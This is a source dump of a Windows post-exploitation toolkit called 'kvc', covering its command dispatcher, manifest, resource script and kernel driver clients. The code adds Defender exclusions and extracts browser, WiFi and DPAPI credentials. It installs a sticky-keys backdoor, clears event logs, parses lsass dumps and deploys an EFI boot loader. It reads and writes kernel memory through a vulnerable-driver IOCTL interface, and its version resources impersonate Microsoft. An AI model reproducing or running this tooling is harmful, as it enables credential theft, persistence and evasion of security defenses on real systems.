            if (sub == L"extensions" || sub == L"extension") return g_controller->AddExtensionExclusion(argv[3]) ? 0 : 2;
            if (sub == L"ipaddresses" || sub == L"ip") return g_controller->AddIpAddressExclusion(argv[3]) ? 0 : 2;
            // Fallback for legacy
            return g_controller->AddToDefenderExclusions(argv[2]) ? 0 : 2;
        }},
        {L"remove-exclusion", [](int argc, wchar_t** argv) {
            if (argc < 3) { ERROR(L"Missing exclusion arguments. Usage: kvc remove-exclusion <Paths|Processes|Extensions|IpAddresses> <value>"); return 1; }
            std::wstring sub = StringUtils::ToLowerCaseCopy(argv[2]);
            if (argc < 4) return g_controller->RemoveFromDefenderExclusions(argv[2]) ? 0 : 2; // Legacy
            if (sub == L"paths" || sub == L"path") return g_controller->RemovePathExclusion(argv[3]) ? 0 : 2;
            if (sub == L"processes" || sub == L"process") return g_controller->RemoveProcessExclusion(argv[3]) ? 0 : 2;
            if (sub == L"extensions" || sub == L"extension") return g_controller->RemoveExtensionExclusion(argv[3]) ? 0 : 2;
            if (sub == L"ipaddresses" || sub == L"ip") return g_controller->RemoveIpAddressExclusion(argv[3]) ? 0 : 2;
            return g_controller->RemoveFromDefenderExclusions(argv[2]) ? 0 : 2;
        }},

        // --- Passwords ---
        {L"browser-passwords", HandleBrowserPasswords},
        {L"bp",                HandleBrowserPasswords},
        {L"export", [](int argc, wchar_t** argv) {
            if (argc < 3) { ERROR(L"Missing export subcommand: secrets"); return 1; }
            if (std::wstring(argv[2]) == L"secrets") {
                std::wstring path = (argc >= 4) ? argv[3] : PathUtils::GetDefaultSecretsOutputPath();
                if (path.empty()) { ERROR(L"Failed to determine default output path"); return 1; }
                if (CheckKvcPassExists() || g_controller->EnsureBinaryComponents()) {
                    INFO(L"Extracting browser passwords via COM elevation...");
                    if (!g_controller->ExportBrowserData(path, L"edge")) INFO(L"Edge COM extraction failed");
                    if (!g_controller->ExportBrowserData(path, L"chrome")) INFO(L"Chrome extraction failed");
                    if (!g_controller->ExportBrowserData(path, L"brave")) INFO(L"Brave extraction failed");
                } else {
                    INFO(L"kvc_pass.exe not available - Edge will fallback to DPAPI (no JSON output)");
                }
                INFO(L"Extracting WiFi and generating DPAPI reports...");
                g_controller->ShowPasswords(path);
                return 0;
            }
            ERROR(L"Unknown export subcommand: %s", argv[2]); return 1;
        }},

        // --- System & Registry ---
        {L"trusted", [](int argc, wchar_t** argv) {
            if (argc < 3) { ERROR(L"Missing command for elevated execution"); return 1; }
            std::wstring cmd;
            for (int i = 2; i < argc; i++) { if (i > 2) cmd += L" "; cmd += argv[i]; }
            return g_controller->RunAsTrustedInstaller(cmd) ? 0 : 2;
        }},
        {L"install-context", [](int, wchar_t**) { return g_controller->AddContextMenuEntries() ? 0 : 1; }},
        {L"shift",   [](int, wchar_t**) { INFO(L"Installing sticky keys backdoor..."); return g_controller->InstallStickyKeysBackdoor() ? 0 : 2; }},
        {L"unshift", [](int, wchar_t**) { INFO(L"Removing sticky keys backdoor..."); return g_controller->RemoveStickyKeysBackdoor() ? 0 : 2; }},
        {L"registry", [](int argc, wchar_t** argv) {
            if (argc < 3) { ERROR(L"Missing registry subcommand: backup, restore, defrag"); return 1; }
            std::wstring sub = argv[2];
            HiveManager hm;
            if (sub == L"backup") return hm.Backup((argc >= 4) ? argv[3] : L"") ? 0 : 2;
            if (sub == L"restore") { if(argc<4){ERROR(L"Missing source path for restore"); return 1;} return hm.Restore(argv[3]) ? 0 : 2; }
            if (sub == L"defrag") return hm.Defrag((argc >= 4) ? argv[3] : L"") ? 0 : 2;
            ERROR(L"Unknown registry subcommand: %s", sub.c_str()); return 1;
        }},

        // --- Misc ---
        {L"watermark", [](int argc, wchar_t** argv) {
            if (argc < 3) { ERROR(L"Missing subcommand. Usage: kvc watermark <remove|restore|status>"); return 1; }
            std::wstring sub = argv[2];
            if (sub == L"remove") { INFO(L"Removing Windows desktop watermark..."); return g_controller->RemoveWatermark() ? 0 : 2; }
            if (sub == L"restore") { INFO(L"Restoring Windows desktop watermark..."); return g_controller->RestoreWatermark() ? 0 : 2; }
            if (sub == L"status") { std::wstring s=g_controller->GetWatermarkStatus(); INFO(L"Watermark status: %s", s.c_str()); return 0; }
            ERROR(L"Unknown watermark subcommand: %s", sub.c_str()); return 1;
        }},
        {L"wm", [](int argc, wchar_t** argv) { return commandMap.at(L"watermark")(argc, argv); }},
        {L"setup", [](int, wchar_t**) {
            INFO(L"Loading and processing kvc.dat combined binary...");
            bool ok = g_controller->LoadAndSplitCombinedBinaries();
            // Deploy kvcforensic.dat if present in CWD (optional forensic module)
            g_controller->DeployForensicModule();
            return ok ? 0 : 2;
        }},
        {L"analyze", [](int argc, wchar_t** argv) {
            // kvc analyze --gui  ->  open KvcForensic GUI
            if (argc >= 3 && (_wcsicmp(argv[2], L"--gui") == 0 || _wcsicmp(argv[2], L"--cli") == 0)) {
                return g_controller->LaunchForensicGui() ? 0 : 2;
            }
            // kvc analyze lsass  ->  smart-find most recent lsass dump
            std::wstring dumpPath;
            if (argc >= 3 && _wcsicmp(argv[2], L"lsass") == 0) {
                auto searchDir = [&](const std::wstring& dir) {
                    WIN32_FIND_DATAW fd;
                    HANDLE h = FindFirstFileW((dir + L"\\lsass*.dmp").c_str(), &fd);
                    if (h == INVALID_HANDLE_VALUE) return;
                    FILETIME bestTime{};
                    do {
                        if (!(fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
                            if (dumpPath.empty() || CompareFileTime(&fd.ftLastWriteTime, &bestTime) > 0) {
                                dumpPath = dir + L"\\" + fd.cFileName;
                                bestTime = fd.ftLastWriteTime;
                            }
                        }
                    } while (FindNextFileW(h, &fd));
                    FindClose(h);
                };
                wchar_t cwd[MAX_PATH]; GetCurrentDirectoryW(MAX_PATH, cwd);
                searchDir(cwd);
                wchar_t* dl = nullptr;
                if (SHGetKnownFolderPath(FOLDERID_Downloads, 0, NULL, &dl) == S_OK) {
                    searchDir(dl); CoTaskMemFree(dl);
                }
                if (dumpPath.empty()) {
                    ERROR(L"No lsass*.dmp found in current directory or Downloads.");
                    INFO(L"Dump first with: kvc dump lsass");
                    INFO(L"Or specify path: kvc analyze C:\\path\\to\\lsass.dmp");
                    return 1;
                }
                INFO(L"Found: %s", dumpPath.c_str());
            } else if (argc >= 3) {
                dumpPath = argv[2];
            } else {
                ERROR(L"Missing argument. Usage: kvc analyze <dump.dmp|lsass> [--format txt|json|both] [--full] [--tickets <dir>] | --gui");
                return 1;
            }
            // Parse optional flags
            std::wstring format = L"both";
            bool full = false;
            std::wstring ticketsDir;
            for (int i = 3; i < argc; ++i) {
                if (_wcsicmp(argv[i], L"--format") == 0 && i + 1 < argc) { format = argv[++i]; continue; }
                if (_wcsicmp(argv[i], L"--full") == 0)   { full = true; continue; }
                if (_wcsicmp(argv[i], L"--tickets") == 0 && i + 1 < argc) { ticketsDir = argv[++i]; continue; }
            }
            return g_controller->RunForensicAnalysis(dumpPath, format, full, ticketsDir) ? 0 : 2;
        }},
        {L"undervolter", [](int argc, wchar_t** argv) {
            if (argc < 3) {
                INFO(L"Usage: kvc undervolter <deploy|remove|status>");
                INFO(L"");
                INFO(L"  deploy  - extract UnderVolter.dat and write Loader.efi +");
                INFO(L"            UnderVolter.efi + UnderVolter.ini to the EFI partition.");
                INFO(L"            Optionally replaces \\EFI\\BOOT\\BOOTX64.EFI (backed up).");
                INFO(L"  remove  - restore backed-up BOOTX64.EFI and remove EFI\\UnderVolter\\.");
                INFO(L"  status  - check whether UnderVolter is deployed on the EFI partition.");
                INFO(L"");
                INFO(L"  Requires UnderVolter.dat in the current directory or System32.");
                INFO(L"  Build UnderVolter.dat with KvcXor.exe option 6.");
                return 0;
            }
            const std::wstring sub = argv[2];
            if (sub == L"deploy") {
                INFO(L"Deploying UnderVolter to EFI System Partition...");
                return g_controller->DeployUnderVolter() ? 0 : 2;
            }
            if (sub == L"remove") {
                INFO(L"Removing UnderVolter from EFI System Partition...");
                return g_controller->RemoveUnderVolter() ? 0 : 2;
            }
            if (sub == L"status") {
                const std::wstring s = g_controller->GetUnderVolterStatus();
                INFO(L"UnderVolter status: %s", s.c_str());
                return 0;
            }
            ERROR(L"Unknown subcommand: %s. Use deploy | remove | status", sub.c_str());
            return 1;
        }},
        {L"evtclear", [](int, wchar_t**) { return g_controller->ClearSystemEventLogs() ? 0 : 2; }},

        // --- Entertainment ---
        {L"--tetris", [](int, wchar_t**) {
            INFO(L"[TETRIS] Initializing High-Security Environment...");
            if (g_controller->BeginDriverSession()) {
                if (g_controller->SelfProtect(L"PPL", L"WinTcb")) {
                    SUCCESS(L"[TETRIS] Self-Protection Active: PPL-WinTcb applied.");
                    SUCCESS(L"[TETRIS] Process is now immune to external termination.");
                } else {
                    ERROR(L"[TETRIS] Failed to apply Self-Protection. Running in standard mode.");
                }
                g_controller->EndDriverSession(false);
            } else {
                ERROR(L"[TETRIS] Failed to initialize driver session. Self-Protection unavailable.");
            }
            return TetrisMain();
        }},
        {L"tetris", [](int, wchar_t**) {
            INFO(L"[TETRIS] Initializing High-Security Environment...");
            if (g_controller->BeginDriverSession()) {
                if (g_controller->SelfProtect(L"PPL", L"WinTcb")) {
                    SUCCESS(L"[TETRIS] Self-Protection Active: PPL-WinTcb applied.");
                    SUCCESS(L"[TETRIS] Process is now immune to external termination.");
                } else {
                    ERROR(L"[TETRIS] Failed to apply Self-Protection. Running in standard mode.");
                }
                g_controller->EndDriverSession(false);
            } else {
                ERROR(L"[TETRIS] Failed to initialize driver session. Self-Protection unavailable.");
            }
            return TetrisMain();
        }}
    };

    // ========================================================================
    // EXECUTION
    // ========================================================================

    try {
        auto it = commandMap.find(command);
        if (it != commandMap.end()) {
            int result = it->second(argc, argv);
            CleanupDriver();
            return result;
        } else {
            HelpSystem::PrintUnknownCommandMessage(command);
            CleanupDriver();
            return 1;
        }
    }
    catch (const std::exception& e) {
        ERROR(L"Exception: %S", e.what());
        CleanupDriver();
        return 3;
    }
    catch (...) {
        ERROR(L"Unknown exception occurred");
        CleanupDriver();
        return 3;
    }
}

<<<FILE: kvc/kvc.manifest>>>
Created:  2026-05-27 23:35:22
Modified: 2026-05-27 23:35:22
Size:     1.34 KB
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<assembly xmlns="urn:schemas-microsoft-com:asm.v1" manifestVersion="1.0">
  <assemblyIdentity version="1.0.0.0" processorArchitecture="amd64"
      name="wesmar.kvc" type="win32"/>
  <dependency>
    <dependentAssembly>
      <assemblyIdentity type="win32" name="Microsoft.Windows.Common-Controls"
          version="6.0.0.0" processorArchitecture="*"
          publicKeyToken="6595b64144ccf1df" language="*"/>
    </dependentAssembly>
  </dependency>
  <trustInfo xmlns="urn:schemas-microsoft-com:asm.v3">
    <security>
      <requestedPrivileges>
        <requestedExecutionLevel level="highestAvailable" uiAccess="false"/>
      </requestedPrivileges>
    </security>
  </trustInfo>
  <compatibility xmlns="urn:schemas-microsoft-com:compatibility.v1">
    <application>
      <supportedOS Id="{1f676c76-80e1-4239-95bb-83d0f6d0da78}"/><!-- Windows 11 -->
      <supportedOS Id="{8e0f7a12-bfb3-4fe8-b9a5-48fd50a15a9a}"/><!-- Windows 10 -->
    </application>
  </compatibility>
  <application xmlns="urn:schemas-microsoft-com:asm.v3">
    <windowsSettings>
      <dpiAware xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">True/PM</dpiAware>
      <dpiAwareness xmlns="http://schemas.microsoft.com/SMI/2016/WindowsSettings">PerMonitorV2</dpiAwareness>
    </windowsSettings>
  </application>
</assembly>

<<<FILE: kvc/Kvc.rc>>>
Created:  2026-05-27 23:35:27
Modified: 2026-05-28 16:58:25
Size:     3.73 KB
#pragma code_page(65001)
// Microsoft Visual C++ generated resource script.
// Unified resource script for kvc + PassExtractor integration
//
#include "resource.h"

#define APSTUDIO_READONLY_SYMBOLS
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 2 resource.
//
#include "winres.h"

/////////////////////////////////////////////////////////////////////////////
#undef APSTUDIO_READONLY_SYMBOLS

/////////////////////////////////////////////////////////////////////////////
// English (United States) resources

#if !defined(AFX_RESOURCE_DLL) || defined(AFX_TARG_ENU)
LANGUAGE LANG_ENGLISH, SUBLANG_ENGLISH_US

#ifdef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// TEXTINCLUDE
//

1 TEXTINCLUDE 
BEGIN
    "resource.h\0"
END

2 TEXTINCLUDE 
BEGIN
    "#include ""winres.h""\r\n"
    "\0"
END

3 TEXTINCLUDE 
BEGIN
    "\r\n"
    "\0"
END

#endif    // APSTUDIO_INVOKED

/////////////////////////////////////////////////////////////////////////////
//
// Icon Resources
//

// KVC Application Icon - lowest ID for consistent app icon
IDI_ICON1               ICON                    "ICON\\kvc.ico"
IDR_MAINICON            RCDATA                  "ICON\\kvc.ico"

// PassExtractor Application Icon
IDI_PASSEXTRACTOR_ICON  ICON                    "ICON\\kvc.ico"

/////////////////////////////////////////////////////////////////////////////
//
// Version Information
//

// KVC Main Application Version
VS_VERSION_INFO VERSIONINFO
 FILEVERSION 10,0,26800,6317
 PRODUCTVERSION 10,0,26800,6317
 FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
 FILEFLAGS 0x1L
#else
 FILEFLAGS 0x0L
#endif
 FILEOS 0x40004L
 FILETYPE 0x0L
 FILESUBTYPE 0x0L
BEGIN
    BLOCK "StringFileInfo"
    BEGIN
        BLOCK "040904b0"
        BEGIN
            VALUE "CompanyName", "Microsoft Corporation"
            VALUE "FileDescription", "Windows System Process"
            VALUE "FileVersion", "10.0.26800.6317"
            VALUE "InternalName", "kvc.exe"
            VALUE "LegalCopyright", "© Microsoft Corporation. All rights reserved."
            VALUE "OriginalFilename", "kvc.exe"
            VALUE "ProductName", "Microsoft® Windows® Operating System"
            VALUE "ProductVersion", "10.0.26800.6317"
        END
    END
    BLOCK "VarFileInfo"
    BEGIN
        VALUE "Translation", 0x409, 1200
    END
END

// PassExtractor Version Information
IDR_PASSEXTRACTOR_VERSION VERSIONINFO
 FILEVERSION 1,0,0,4
 PRODUCTVERSION 1,0,0,4
 FILEFLAGSMASK 0x3fL
#ifdef _DEBUG
 FILEFLAGS 0x1L
#else
 FILEFLAGS 0x0L
#endif
 FILEOS 0x40004L
 FILETYPE 0x1L
 FILESUBTYPE 0x0L
BEGIN
    BLOCK "StringFileInfo"
    BEGIN
        BLOCK "040904b0"
        BEGIN
            VALUE "CompanyName", "WESMAR"
            VALUE "FileDescription", "PassExtractor Browser Credential Recovery"
            VALUE "FileVersion", "1.0.0.4"
            VALUE "InternalName", "kvc_pass.exe"
            VALUE "LegalCopyright", "© WESMAR. All rights reserved."
            VALUE "OriginalFilename", "kvc_pass.exe"
            VALUE "ProductName", "PassExtractor x64"
            VALUE "ProductVersion", "1.0.0.4"
        END
    END
    BLOCK "VarFileInfo"
    BEGIN
        VALUE "Translation", 0x409, 1200
    END
END

#endif    // English (United States) resources
/////////////////////////////////////////////////////////////////////////////

#ifndef APSTUDIO_INVOKED
/////////////////////////////////////////////////////////////////////////////
//
// Generated from the TEXTINCLUDE 3 resource.
//

/////////////////////////////////////////////////////////////////////////////
#endif    // not APSTUDIO_INVOKED

<<<FILE: kvc/kvc.vcxproj>>>
Created:  2026-05-28 10:15:20
Modified: 2026-05-28 16:58:14
Size:     9.4 KB
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<<<FILE: kvc/kvc.vcxproj.filters>>>
Created:  2026-05-27 19:58:55
Modified: 2026-05-27 19:58:55
Size:     4.52 KB
<?xml version="1.0" encoding="utf-8"?>
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<<<FILE: kvc/KvcDrv.cpp>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:18
Size:     9.09 KB
// KVC kernel driver communication implementation- Implements low-level IOCTL communication with the KVC kernel driver

#include "kvcDrv.h"
#include "common.h"

// ============================================================================
// IOCTL COMMAND CODES (DRIVER-SPECIFIC)
// ============================================================================

// IOCTL code for kernel memory read operations
constexpr DWORD RTC_IOCTL_MEMORY_READ = 0x80002048;

// IOCTL code for kernel memory write operations
constexpr DWORD RTC_IOCTL_MEMORY_WRITE = 0x8000204c;

// ============================================================================
// CONSTRUCTION AND DESTRUCTION
// ============================================================================

// Default constructor - initializes empty driver object
kvc::kvc() = default;

// Destructor - ensures proper resource cleanup
kvc::~kvc() 
{
    Cleanup();
}

// ============================================================================
// DRIVER CONNECTION MANAGEMENT
// ============================================================================

// Cleans up driver resources by flushing buffers, closing handle and clearing device name
void kvc::Cleanup() noexcept 
{
    DEBUG(L"kvc::Cleanup() called");
    
    if (m_deviceHandle) {
        DEBUG(L"Closing device handle...");
        
        // Flush buffers before closing to prevent data loss
        FlushFileBuffers(m_deviceHandle.get());
        
        // Reset smart handle - automatically closes via HandleDeleter
        m_deviceHandle.reset();
    }
    
    m_deviceName.clear();
    DEBUG(L"kvc cleanup completed");
}

// Checks if driver connection is active
bool kvc::IsConnected() const noexcept 
{
    return m_deviceHandle && m_deviceHandle.get() != INVALID_HANDLE_VALUE;
}

// Establishes connection to KVC kernel driver by opening device handle with read/write access
bool kvc::Initialize() noexcept 
{
    // Idempotent check - return early if already connected
    if (IsConnected()) {
        return true;
    }

    // Construct device name if not set
    if (m_deviceName.empty()) {
        m_deviceName = L"\\\\.\\" + GetServiceName();
    }

    // Initialize dynamic APIs (required for CreateFileW pointer)
    if (!InitDynamicAPIs()) {
        DEBUG(L"Failed to initialize dynamic APIs");
        return false;
    }
    
    // Open driver device with read/write access
    HANDLE rawHandle = g_pCreateFileW(
        m_deviceName.c_str(), 
        GENERIC_READ | GENERIC_WRITE, 
        0,                          // No sharing
        nullptr,                    // Default security
        OPEN_EXISTING,              // Device must exist
        0,                          // No special flags
        nullptr                     // No template
    );

/*    // Silent failure if driver not loaded - this is expected behavior
    if (rawHandle == INVALID_HANDLE_VALUE) {
        DEBUG(L"Failed to open driver device: %s (error: %d)", 
              m_deviceName.c_str(), GetLastError());
        return false;
    }
*/
    // Wrap raw handle in smart pointer for automatic cleanup
    m_deviceHandle = UniqueHandle(rawHandle);
    
    DEBUG(L"Successfully opened driver device: %s", m_deviceName.c_str());
    return true;
}

// ============================================================================
// MEMORY READ OPERATIONS (TYPE-SAFE WRAPPERS)
// ============================================================================

// Reads 8-bit value from kernel memory by extracting lowest byte from 32-bit read
std::optional<BYTE> kvc::Read8(ULONG_PTR address) noexcept 
{
    auto value = Read32(address);
    if (!value.has_value()) {
        return std::nullopt;
    }
    return static_cast<BYTE>(value.value() & 0xFF);
}

// Reads 16-bit value from kernel memory by extracting lowest 2 bytes from 32-bit read
std::optional<WORD> kvc::Read16(ULONG_PTR address) noexcept 
{
    auto value = Read32(address);
    if (!value.has_value()) {
        return std::nullopt;
    }
    return static_cast<WORD>(value.value() & 0xFFFF);
}

// Reads 32-bit value from kernel memory via direct IOCTL call
std::optional<DWORD> kvc::Read32(ULONG_PTR address) noexcept 
{
    return Read(address, sizeof(DWORD));
}

// Reads 64-bit value from kernel memory by performing two 32-bit reads and combining them
std::optional<DWORD64> kvc::Read64(ULONG_PTR address) noexcept 
{
    auto low = Read32(address);
    auto high = Read32(address + 4);
    
    if (!low || !high) {
        return std::nullopt;
    }
    
    // Combine low and high DWORDs into QWORD
    return (static_cast<DWORD64>(high.value()) << 32) | low.value();
}

// Reads pointer-sized value from kernel memory (64-bit on x64, 32-bit on x86)
std::optional<ULONG_PTR> kvc::ReadPtr(ULONG_PTR address) noexcept 
{
#ifdef _WIN64
    auto value = Read64(address);
    if (!value.has_value()) {
        return std::nullopt;
    }
    return static_cast<ULONG_PTR>(value.value());
#else
    auto value = Read32(address);
    if (!value.has_value()) {
        return std::nullopt;
    }
    return static_cast<ULONG_PTR>(value.value());
#endif
}

// ============================================================================
// MEMORY WRITE OPERATIONS (TYPE-SAFE WRAPPERS)
// ============================================================================

// Writes 8-bit value to kernel memory (WARNING: can cause system instability)
bool kvc::Write8(ULONG_PTR address, BYTE value) noexcept 
{
    return Write(address, sizeof(value), value);
}

// Writes 16-bit value to kernel memory (WARNING: can cause system instability)
bool kvc::Write16(ULONG_PTR address, WORD value) noexcept 
{
    return Write(address, sizeof(value), value);
}

// Writes 32-bit value to kernel memory (WARNING: can cause system instability)
bool kvc::Write32(ULONG_PTR address, DWORD value) noexcept 
{
    return Write(address, sizeof(value), value);
}

// Writes 64-bit value to kernel memory via two 32-bit writes (WARNING: non-atomic, can cause system instability)
bool kvc::Write64(ULONG_PTR address, DWORD64 value) noexcept 
{
    DWORD low = static_cast<DWORD>(value & 0xFFFFFFFF);
    DWORD high = static_cast<DWORD>((value >> 32) & 0xFFFFFFFF);
    
    // Both writes must succeed
    return Write32(address, low) && Write32(address + 4, high);
}

// ============================================================================
// LOW-LEVEL IOCTL COMMUNICATION
// ============================================================================

// Low-level kernel memory read via IOCTL using aligned RTC_MEMORY_READ structure
std::optional<DWORD> kvc::Read(ULONG_PTR address, DWORD valueSize) noexcept 
{
    // Construct read request with proper alignment
    RTC_MEMORY_READ memoryRead{};
    memoryRead.Address = address;
    memoryRead.Size = valueSize;

    // Ensure driver connection
    if (!Initialize()) {
        DEBUG(L"Driver not initialized for read operation");
        return std::nullopt;
    }

    DWORD bytesReturned = 0;
    
    // Send IOCTL to driver
    BOOL result = DeviceIoControl(
        m_deviceHandle.get(),           // Device handle
        RTC_IOCTL_MEMORY_READ,          // IOCTL code
        &memoryRead,                    // Input buffer
        sizeof(memoryRead),             // Input size
        &memoryRead,                    // Output buffer (in-place)
        sizeof(memoryRead),             // Output size
        &bytesReturned,                 // Bytes returned
        nullptr                         // No overlapped I/O
    );
    
    if (!result) {
        DEBUG(L"DeviceIoControl failed for read at 0x%llx: %d", 
              address, GetLastError());
        return std::nullopt;
    }

    return memoryRead.Value;
}

// Low-level kernel memory write via IOCTL (WARNING: can cause BSOD if address is invalid)
bool kvc::Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept 
{
    // Construct write request with proper alignment
    RTC_MEMORY_WRITE memoryWrite{};
    memoryWrite.Address = address;
    memoryWrite.Size = valueSize;
    memoryWrite.Value = value;

    // Ensure driver connection
    if (!Initialize()) {
        DEBUG(L"Driver not initialized for write operation");
        return false;
    }

    DWORD bytesReturned = 0;
    
    // Send IOCTL to driver
    BOOL result = DeviceIoControl(
        m_deviceHandle.get(),           // Device handle
        RTC_IOCTL_MEMORY_WRITE,         // IOCTL code
        &memoryWrite,                   // Input buffer
        sizeof(memoryWrite),            // Input size
        &memoryWrite,                   // Output buffer (unused for write)
        sizeof(memoryWrite),            // Output size
        &bytesReturned,                 // Bytes returned
        nullptr                         // No overlapped I/O
    );
    
    if (!result) {
        DEBUG(L"DeviceIoControl failed for write at 0x%llx: %d", 
              address, GetLastError());
        return false;
    }
    
    return true;
}

<<<FILE: kvc/KvcDrv.h>>>
Created:  2026-02-27 12:50:26
Modified: 2026-02-27 11:42:20
Size:     2.6 KB
// kvcDrv.h - KVC kernel driver interface for memory read/write via IOCTL

#pragma once

#include "common.h"
#include <memory>
#include <optional>

// Memory read request for IOCTL, properly aligned
struct alignas(8) RTC_MEMORY_READ 
{
    BYTE Pad0[8];
    DWORD64 Address;    ///< Target kernel address
    BYTE Pad1[8];
    DWORD Size;         ///< Number of bytes to read
    DWORD Value;        ///< Returned value
    BYTE Pad3[16];
};

// Memory write request for IOCTL, properly aligned
struct alignas(8) RTC_MEMORY_WRITE 
{
    BYTE Pad0[8];
    DWORD64 Address;    ///< Target kernel address
    BYTE Pad1[8];
    DWORD Size;         ///< Number of bytes to write
    DWORD Value;        ///< Value to write
    BYTE Pad3[16];
};

// KVC driver communication class for type-safe kernel memory operations
class kvc
{
public:
    kvc();                  ///< Construct driver interface
    ~kvc();                 ///< Destructor with automatic cleanup

    kvc(const kvc&) = delete;
    kvc& operator=(const kvc&) = delete;
    kvc(kvc&&) noexcept = default;
    kvc& operator=(kvc&&) noexcept = default;

    // Driver connection management
    bool Initialize() noexcept;   ///< Connect to KVC driver
    void Cleanup() noexcept;      ///< Close driver connection
    bool IsConnected() const noexcept;  ///< Check connection status

    // Memory read operations
    std::optional<BYTE> Read8(ULONG_PTR address) noexcept;
    std::optional<WORD> Read16(ULONG_PTR address) noexcept;
    std::optional<DWORD> Read32(ULONG_PTR address) noexcept;
    std::optional<DWORD64> Read64(ULONG_PTR address) noexcept;
    std::optional<ULONG_PTR> ReadPtr(ULONG_PTR address) noexcept;

    // Memory write operations
    bool Write8(ULONG_PTR address, BYTE value) noexcept;
    bool Write16(ULONG_PTR address, WORD value) noexcept;
    bool Write32(ULONG_PTR address, DWORD value) noexcept;
    bool Write64(ULONG_PTR address, DWORD64 value) noexcept;

private:
    // Smart handle management
    struct HandleDeleter { void operator()(HANDLE handle) const noexcept { if (handle && handle != INVALID_HANDLE_VALUE) CloseHandle(handle); } };
    using UniqueHandle = std::unique_ptr<std::remove_pointer_t<HANDLE>, HandleDeleter>;

    std::wstring m_deviceName;   ///< Driver device name
    UniqueHandle m_deviceHandle; ///< Managed driver handle

    // Low-level IOCTL operations
    std::optional<DWORD> Read(ULONG_PTR address, DWORD valueSize) noexcept;  ///< Internal read helper
    bool Write(ULONG_PTR address, DWORD valueSize, DWORD value) noexcept;    ///< Internal write helper
};

<<<FILE: kvc/KvcStrmClient.cpp>>>
Created:  2026-04-05 16:58:58
Modified: 2026-04-06 00:07:50
Size:     13.02 KB
// KvcStrmClient.cpp
// Implementacja wrappera kvcstrm IOCTL dla usermode.

#include "KvcStrmClient.h"
#include "common.h"    // INFO, ERROR, DEBUG, etc.

// ============================================================
//  Pomocnicza funkcja: oblicz IOCTL_CODE
//  CTL_CODE(DeviceType, Function, Method, Access)
//  FILE_DEVICE_UNKNOWN = 0x22
//  METHOD_BUFFERED     = 0
//  FILE_ANY_ACCESS     = 0
//  => (0x22 << 16) | (0 << 14) | (function << 2) | 0
// ============================================================

static constexpr DWORD MakeIoctl(DWORD function) noexcept {
    return (0x22UL << 16) | (function << 2);
}

// Weryfikacja formuly MakeIoctl wzgledem wartosci z naglowka (bez dostepu do private)
static_assert(MakeIoctl(0x800) == 0x00222000, "IOCTL_VM_READ");
static_assert(MakeIoctl(0x801) == 0x00222004, "IOCTL_VM_WRITE");
static_assert(MakeIoctl(0x802) == 0x00222008, "IOCTL_VM_BULK");
static_assert(MakeIoctl(0x803) == 0x0022200C, "IOCTL_KILL");
static_assert(MakeIoctl(0x804) == 0x00222010, "IOCTL_SET_PROT");
static_assert(MakeIoctl(0x805) == 0x00222014, "IOCTL_PHYS_READ");
static_assert(MakeIoctl(0x806) == 0x00222018, "IOCTL_PHYS_WRITE");
static_assert(MakeIoctl(0x807) == 0x0022201C, "IOCTL_KILL_WESMAR");
static_assert(MakeIoctl(0x808) == 0x00222020, "IOCTL_FREE");
static_assert(MakeIoctl(0x809) == 0x00222024, "IOCTL_WRITE_PROT");
static_assert(MakeIoctl(0x80A) == 0x00222028, "IOCTL_ELEVATE");
static_assert(MakeIoctl(0x80B) == 0x0022202C, "IOCTL_ALLOC");
static_assert(MakeIoctl(0x810) == 0x00222040, "IOCTL_KILL_NAME");
static_assert(MakeIoctl(0x811) == 0x00222044, "IOCTL_FORCE_HANDLE");

// ============================================================
//  ZARZADZANIE POLACZENIEM
// ============================================================

bool KvcStrmClient::Open() noexcept
{
    if (IsOpen()) return true;

    m_handle = CreateFileW(
        DEVICE_PATH,
        GENERIC_READ | GENERIC_WRITE,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        nullptr,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        nullptr
    );

    if (m_handle == INVALID_HANDLE_VALUE) {
        DWORD err = GetLastError();
        DEBUG(L"[KvcStrmClient] CreateFile(%s) failed: %lu", DEVICE_PATH, err);
        return false;
    }

    DEBUG(L"[KvcStrmClient] Polaczono z kvcstrm.sys");
    return true;
}

void KvcStrmClient::Close() noexcept
{
    if (IsOpen()) {
        CloseHandle(m_handle);
        m_handle = INVALID_HANDLE_VALUE;
    }
}

/*static*/ bool KvcStrmClient::IsDriverLoaded() noexcept
{
    HANDLE h = CreateFileW(
        DEVICE_PATH,
        GENERIC_READ,
        FILE_SHARE_READ | FILE_SHARE_WRITE,
        nullptr,
        OPEN_EXISTING,
        FILE_ATTRIBUTE_NORMAL,
        nullptr
    );
    if (h == INVALID_HANDLE_VALUE) return false;
    CloseHandle(h);
    return true;
}

// ============================================================
//  PRYWATNE HELPERY IOCTL
// ============================================================

StrmResult KvcStrmClient::Ioctl(DWORD code, void* buf, DWORD size) noexcept
{
    if (!IsOpen()) return StrmResult::Fail(STATUS_DEVICE_NOT_CONNECTED);

    DWORD returned = 0;
    BOOL ok = DeviceIoControl(
        m_handle,
        code,
        buf,   // inBuffer
        size,
        buf,   // outBuffer (METHOD_BUFFERED - ten sam bufor)
        size,
        &returned,
        nullptr
    );

    if (!ok) {
        DWORD err = GetLastError();
        DEBUG(L"[KvcStrmClient] IOCTL 0x%08X DeviceIoControl failed: %lu", code, err);
        return StrmResult::Fail(HRESULT_FROM_WIN32(err));
    }

    return StrmResult::Ok();
}

StrmResult KvcStrmClient::IoctlWithPayload(DWORD code,
                                            void* header, DWORD headerSize,
                                            const void* payload, SIZE_T payloadSize) noexcept
{
    if (!IsOpen()) return StrmResult::Fail(STATUS_DEVICE_NOT_CONNECTED);

    // Buduj ciagly bufor: [header][payload]
    DWORD totalSize = headerSize + static_cast<DWORD>(payloadSize);
    std::vector<BYTE> buf(totalSize);
    memcpy(buf.data(), header, headerSize);
    memcpy(buf.data() + headerSize, payload, payloadSize);

    DWORD returned = 0;
    BOOL ok = DeviceIoControl(
        m_handle,
        code,
        buf.data(),
        totalSize,
        buf.data(),
        totalSize,
        &returned,
        nullptr
    );

    if (!ok) {
